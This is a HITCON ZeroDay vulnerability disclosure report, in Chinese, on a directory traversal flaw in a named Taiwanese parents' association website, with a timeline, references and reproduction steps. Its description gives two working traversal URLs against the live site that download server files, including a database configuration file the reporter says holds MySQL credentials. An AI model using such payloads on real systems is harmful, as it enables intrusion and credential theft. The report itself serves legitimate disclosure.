全國家長會長聯盟 某協會 - Directory Transversal - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2016-00133
  • Vendor: 全國家長會長聯盟
  • Title: 全國家長會長聯盟 某協會 - Directory Transversal
  • Introduction: 任意檔案下載

處理狀態

目前狀態

公開
Last Update : 2016/11/09
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2016/07/26 20:14:52 : 新提交 (由 jacky5112 更新此狀態)
  • 2016/07/30 19:36:56 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2016/08/10 11:47:28 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2016/11/09 03:00:03 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)

詳細資料

  • ZDID:ZD-2016-00133
  • 通報者:qoo24571864 (jacky5112)
  • 風險:高
  • 類型:任意檔案下載 (Arbitrary File Download)

參考資料

攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html

OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://www.nappa.org.tw/include/File_download.php

敘述

1.利用google hacking發現下載路徑為參考路徑
2.下載「File_download.php」檔案
http://www.nappa.org.tw/include/File_download.php?filepath=/../../include&filename=File_download.php
3.下載「DBSetup.inc」檔案
http://www.nappa.org.tw/include/File_download.php?filepath=/../../include&filename=DBSetup.inc
發現使用MYSQL以及資料庫帳號密碼

擷圖

留言討論

;